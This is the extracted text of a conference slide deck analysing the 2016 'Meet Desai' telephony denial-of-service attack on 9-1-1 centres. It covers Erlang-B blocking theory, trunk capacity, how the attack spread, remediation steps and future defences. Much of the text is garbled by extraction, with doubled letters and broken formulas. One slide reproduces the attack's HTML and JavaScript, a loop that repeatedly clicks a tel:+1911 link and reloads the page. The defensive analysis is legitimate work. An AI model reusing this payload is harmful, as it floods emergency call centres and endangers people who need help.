
INSIDE THE “MEET DESAI” ATTACK:
DEFENDING DISTRIBUTED TARGETS

FROM DISTRIBUTED ATTACKS



@CINCVOLFLT
(TREY FORGETY)

HACKER, LAWYER
NAVIGATOR, PHYSICIST
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IN NOVEMBER, 2016, A
TEENAGER FROM ARIZONA 

LAUNCHED A TDoS ATTACK ON 
9-1-1 CENTERS IN SEVERAL 

STATES WITH 8 LINES OF CODE 
AND A TWEET



MMAATTHHEEMMAATTIICCAALL  
AASSIIDDEE::

MMRR..  EERRLLAANNGG’’SS  
MMAAGGIICC  FFOORRMMUULLAA



𝑷𝑷𝒃𝒃 = 𝑩𝑩 𝑬𝑬,𝒎𝒎
𝑬𝑬𝒎𝒎
𝒎𝒎!

∑ 𝑬𝑬𝒊𝒊
𝒊𝒊!

𝒎𝒎
𝒊𝒊+𝟎𝟎



𝑷𝑷𝒃𝒃 =
𝑬𝑬𝒎𝒎
𝒎𝒎!

∑ 𝑬𝑬𝒊𝒊
𝒊𝒊!

𝒎𝒎
𝒊𝒊+𝟎𝟎



𝑃𝑃. =
𝐸𝐸0
𝑚𝑚!

∑ 𝐸𝐸2
𝑖𝑖!

0
2+4

Pb is “Probabilty of Blocking”:
How often can a {call, agent, GET} fail?

This is a design criterion:
How much failure can we tolerate?



𝑃𝑃. =
𝐸𝐸0
𝑚𝑚!

∑ 𝐸𝐸2
𝑖𝑖!

0
2+4

m is the # of identical, parallel resources
How many {lines, bps, servers} do we have?

This is a design constraint:
How many widgets can we afford?



𝑃𝑃. =
𝐸𝐸0
𝑚𝑚!

∑ 𝐸𝐸2
𝑖𝑖!

0
2+4

E is the normalized ingress load
How many {calls, bps, GETs} do we expect?

This is a design estimate:
How much traffic is normal?



But: What does it mean to have a 
“load” of calls, when their arrivals and 
lengths are (mostly) random? 



The “normalized” ingress load, E:
𝛌𝛌 is the # of calls per unit time

This is an observation or estimate:
How many calls do we expect to arrive 
each second in our busiest hour?

𝐸𝐸 = 𝜆𝜆ℎ



The “normalized” ingress load, E:
h is the average holding time

This is an observation or estimate:
How long do our calls take to service, 
on average?

𝐸𝐸 = 𝜆𝜆ℎ



𝑃𝑃. =
𝐸𝐸0
𝑚𝑚!

∑ 𝐸𝐸2
𝑖𝑖!

0
2+4

High-Ingress-Rate Vulnerability:
For 𝐸𝐸 ≫ 𝑚𝑚, 𝑃𝑃. → 1

This is could be due to higher-than-
expected arrival rate, or longer-than-
expected holding time.



BEN GURION UNIVERSITY:

ESTIMATED 1.7053 TRUNKS
PER 10,000 POPULATION

75% SHARED / 9.5% WIRELESS-ONLY



NENA:

PROBABLY <= 12
WIRELESS TRUNKS PER PSAP

(ON AVERAGE)



EXAMPLE:

BG PAPER PREDICTS
~79-95 WIRELESS-USABLE TRUNKS

FOR DENVER (PROPER)
(663K POPS)



EXAMPLE:

DENVER REPORTS 
32

~2.5-3X < PREDICTION



22001122  TTDDooSS//CCyybbeerr  WWGG



FFOOCCII::
AANNDDRROOIIDD  MMAALLWWAARREE

GGEEOOFFEENNCCEEDD  TTAARRGGEETTIINNGG
SSIINNGGLLEE--PPSSAAPP  IIMMPPAACCTTSS



OOUUTTCCOOMMEESS::
RREECCOOGGNNIIZZIINNGG  AANN  AATTTTAACCKK

RREEPPOORRTTIINNGG  AANN  AATTTTAACCKK
RREECCOOVVEERRIINNGG  SSEERRVVIICCEE



BBUUTT  WWEE  TTHHOOUUGGHHTT
IITT  WWOOUULLDD  BBEE  DDIIFFFFEERREENNTT



EVERYONE EXPECTED 
NATIVE, MALICIOUS, 
EXECUTABLE CODE

OR
A HACKED VoIP SYSTEM



675
UNPROTECTED VoIP

CALL MANAGERS
900,000,000

KNOWN-VULNERABLE
ANDROID DEVICES



LIMITED BY USER/
INTERCONNECT LOCATION

DIFFICULT TO SCALE



NNOO  OONNEE  CCOONNSSIIDDEERREEDD
DDIISSTTRRIIBBUUTTEEDD  AATTTTAACCKKSS

OONN  
DDIISSTTRRIIBBUUTTEEDD  TTAARRGGEETTSS



A PRACTICAL ATTACK:

1 YouTube COMMENT
1 OBFUSCATED URL

8 LINES OF BASIC CODE



~1,200 TWITTER FOLLOWERS
@meetheindiankid

(THANKFULLY NOT A 
KARDASHIAN)







A PRACTICAL ATTACK:

6 LINES OF BASIC CODE
1 OBFUSCATED URL

1 TWEET

AMPLIFYING FACTORS:
MUSIC COMMUNITY 

SOCIAL MEDIA PERSONALITIES
TIMING

RTs WITH “LOLs”
USER IGNORANCE



A PRACTICAL ATTACK:

6 LINES OF BASIC CODE
1 OBFUSCATED URL

1 TWEET



A PRACTICAL ATTACK:

6 LINES OF BASIC CODE
1 OBFUSCATED URL

1 TWEET



A PRACTICAL ATTACK:

6 LINES OF BASIC CODE
1 OBFUSCATED URL

1 TWEET



A PRACTICAL ATTACK:

6 LINES OF BASIC CODE
1 OBFUSCATED URL

1 TWEET

Input: http://www.ReallyShadyURL.com

Output: goo.gl/rYMFZu



Print a bunch of “LoL”s in the user’s browser

Define a link to a telephone number: +1911
Define a link to an email address: distraction@none.com

Start a script
Start a loop, defined to run many times

Click telephone link (Call 9-1-1!)
Click mail link (Distract the User)

Return to start of loop
End the Script



<h1>LOLOLOLOLOLOLOLOLOL</h1>
<a href=“tel:+1911” id=“tel”></a>
<a href=“/cdn/cgi/l/email-protection#...

Virus on your device! Call Apple Support
Now!” id=“mail”></a>

<script type=“text/rocketscript”>
for(i=0;i<101001010100101010010;i++){
document.getElementById(“tel”).click();
document.getElementById(“mail”).click();
window.location = window.location;
}

</script>



Print a bunch of “LoL”s in the user’s browser

Define a link to a telephone number: +1911
Define a link to an email address: distraction@none.com

Start a script
Start a loop, defined to run many times

Click telephone link (Call 9-1-1!)
Click mail link (Distract the User)

Return to start of loop
End the Script



PPRROOMMPPTT  EEFFFFEECCTTSS::
>>111177,,550000  CCLLIICCKKSS



PPRROOMMPPTT  EEFFFFEECCTTSS::
OOVVEERRLLOOAADDSS    AATT  PPSSAAPPss
1122  SSTTAATTEESS  CCOONNFFIIRRMMEEDD

PPEEAAKK  TTRRAAFFFFIICC  >>66xx  
NNOORRMMAALL  



PPRROOMMPPTT  EEFFFFEECCTTSS::
CCOONNFFUUSSIIOONN

DDUUEE  TTOO  NNOONN--UUNNIIFFOORRMM
CCAARRRRIIEERR  DDIISSTTRRIIBBUUTTIIOONN

OOFF  FFOOLLLLOOWWEERRSS



ABOVE SOME 
THRESHOLD,
NOTHING IS 

SAFE



RREEMMEEDDIIAATTIIOONN::
11..  SSTTOOPP  PPRROOPPAAGGAATTIIOONN

22..  DDEE--OOBBFFUUSSCCAATTEE
33..  BBLLAACCKKHHOOLLEE



RREEMMEEDDIIAATTIIOONN  11
PPAAUUSSEE  SSOOUURRCCEE  
AACCCCOOUUNNTT((SS))  &&

FFIILLTTEERR  MMAALLIICCIIOOUUSS  LLIINNKK



RREEMMEEDDIIAATTIIOONN  22
DDIISSAABBLLEE  SSHHOORRTTEENNEEDD  UURRLL



RREEMMEEDDIIAATTIIOONN  33
TTAAKKEEDDOOWWNN  WWEEBBSSIITTEE



RREEMMEEDDIIAATTIIOONN  33
BBLLAACCKKHHOOLLEE  DDOOMMAAIINN



A PRACTICAL ATTACK:

6 LINES OF BASIC CODE
1 OBFUSCATED URL

1 TWEET

RREEMMEEDDIIAATTIIOONN  44
AARRRREESSTT  MMOORROONNSS



A PRACTICAL ATTACK:

6 LINES OF BASIC CODE
1 OBFUSCATED URL

1 TWEET



A PRACTICAL ATTACK:

6 LINES OF BASIC CODE
1 OBFUSCATED URL

1 TWEET



iiOOSS  WWEEBB--DDIIAALL  VVUULLNNSS  DDIISSCCLLOOSSEEDD  IINN  ‘‘0088
CCVVEE--22000088--44223333
CCVVEE--22000099--00996600
CCVVEE--22000099--00996611

hh//tt  @@ccoolllliinnrrmm





Source:	https://support.apple.com/en-us/HT207617



SSOO  WWEE’’RREE  VVUULLNNEERRAABBLLEE..  
HHOOWW  DDOO  WWEE  DDEEFFEENNDD??



LEGACY:
1. OVER-PROVISIONING

2. CONTEXTUAL WHITELISTING
3. BLACKLISTING



LEGACY:
1. EXPENSIVE / IMPOSSIBLE

2. NO “CUSTOMER” LISTS
3. DANGEROUS (LAWYERS!)



TRANSITIONAL:
1. NUMBER REPUTATION SCORES

2. REAL-TIME THREAT SCORES



TRANSITIONAL:
1. DANGEROUS (LAWYERS!)

2. DIVERSON NOT TESTED (YET)



NEXT-GENERATION:
1. STIR/SHAKEN

2. BAD-ACTOR MARKING
3. SUSPICIOUS CALL DIVERSION



NEXT-GENERATION:
1. PKI IS DIFFICULT

2. NEEDS TIME TO TUNE
3. DIVERSION NOT TESTED (YET)



WIP:
DHS PILOT ON THREAT SCORES

IETF/ATIS STIR/SHAKEN
NENA i3 & NG-SEC
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